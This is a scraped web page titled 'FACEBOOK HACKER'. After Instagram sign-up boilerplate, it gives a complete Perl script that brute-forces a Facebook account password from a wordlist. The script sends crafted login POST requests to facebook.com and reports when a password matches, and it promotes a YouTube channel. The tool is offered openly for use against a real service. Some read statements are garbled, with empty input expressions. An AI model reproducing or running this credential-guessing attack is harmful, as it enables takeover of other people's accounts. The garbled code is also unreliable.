FACEBOOK HACKER

Instagram

Sign up to see photos and videos from your friends.

OR

By signing up, you agree to our Terms & Privacy Policy.

Have an account? Log in

Get the app.

• ABOUT US
• SUPPORT
• BLOG
• PRESS
• API
• JOBS
• PRIVACY
• TERMS
• DIRECTORY
• LANGUAGEAfrikaansČeštinaDanskDeutschΕλληνικάEnglishEspañolSuomiFrançaisBahasa IndonesiaItaliano日本語한국어Bahasa MelayuNorskNederlandsPolskiPortuguês (Brasil)Português (Portugal)РусскийSvenskaภาษาไทยFilipinoTürkçe中文(简体)中文(台灣)বাংলাગુજરાતીहिन्दीHrvatskiMagyarಕನ್ನಡമലയാളംमराठीनेपालीਪੰਜਾਬੀසිංහලSlovenčinaதமிழ்తెలుగుاردوTiếng Việt中文(香港)БългарскиFrançais (Canada)RomânăСрпскиУкраїнська

© 2017 INSTAGRAM

Instagram Sign up to see photos and videos from your friends. Log in with Facebook OR Mobile Number or Email Full Name Username Password Sign up By signing up, you agree to our Terms & Privacy Policy. Have an account? Log in Get the app. Available on the App Store Available on Google Play ABOUT USSUPPORTBLOGPRESSAPIJOBSPRIVACYTERMSDIRECTORYLANGUAGE © 2017 INSTAGRAM #!/usr/bin/perl # use strict; use Net::SSLeay::Handle; if(!defined($ARGV[0] && $ARGV[1])) { system('clear'); print "\n"; print " ____ ___ ____ ___ _ _ _ _ _ _ \n"; print " / ___|( _ )| __|| |( ) / ) / ) / ) | ) | |\n"; print " (___ || ||| |_ | | ( V ) / _ ) / _ ) | )| |\n"; print " ___)|||_||| _| | | | | / ___ ) / ___ ) | |( |\n"; print " |____)(___)|_| |___| |_|/_/ (_)(_/ )_)|_| (_|\n"; print "\033[1;32m ======================================================\n"; print "\033[1;32m Usage: perl $0 Email wordlist.txt\n"; print "\033[1;32m ======================================================\n"; exit; } my $user = $ARGV[0]; my $wordlist = $ARGV[1]; open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n"; print "\n"; print " ____ ___ ____ ___ _ _ _ _ _ _ \n"; print " / ___|( _ )| __|| |( ) / ) / ) / ) | ) | |\n"; print " (___ || ||| |_ | | ( V ) / _ ) / _ ) | )| |\n"; print " ___)|||_||| _| | | | | / ___ ) / ___ ) | |( |\n"; print " |____)(___)|_| |___| |_|/_/ (_)(_/ )_)|_| (_|\n"; print "\033[1;32m ========================================================\n"; print "\033[1;32m Subscribe to My Channel: \n"; print "\033[1;32m https://www.youtube.com/channel/UCQlUztxzu-hzYtlgsF3wMew \n"; print "\033[1;32m For More Lastest Updates \n"; print "\033[1;32m ========================================================\n"; print "\033[1;32m\n [+] Brute Force Attacking on: $user ...\n\n"; print "=======================================\n"; while (my $password = ) { chomp ($password); $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; my $a = "POST /login.php HTTP/1.1"; my $b = "Host: www.facebook.com"; my $c = "Connection: close"; my $e = "Cache-Control: max-age=0"; my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; my $g = "Origin: https://www.facebook.com"; my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"; my $i = "Content-Type: application/x-www-form-urlencoded"; my $j = "Accept-Encoding: gzip,deflate,sdch"; my $k = "Accept-Language: en-US,en;q=0.8"; my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; my $cl = length($post); my $d = "Content-Length: $cl"; my ($host, $port) = ("www.facebook.com", 443); tie(*SSL, "Net::SSLeay::Handle", $host, $port); print SSL "$a\n"; print SSL "$b\n"; print SSL "$c\n"; print SSL "$d\n"; print SSL "$e\n"; print SSL "$f\n"; print SSL "$g\n"; print SSL "$h\n"; print SSL "$i\n"; print SSL "$j\n"; print SSL "$k\n"; print SSL "$l\n"; print SSL "$cookie\n\n"; print SSL "$post\n"; my $success; while(my $result = ){ if($result =~ /Location(.*?)/){ $success = $1; } } if (!defined $success) { print "\033[1;31m[-] $password ->its not match \n"; close SSL; } else { print "\033[1;32m\n########################################################\n"; print "[+] \033[1;32mPasswd match found: $password\n"; print "\033[1;32m########################################################\n\n"; close SSL; exit; } }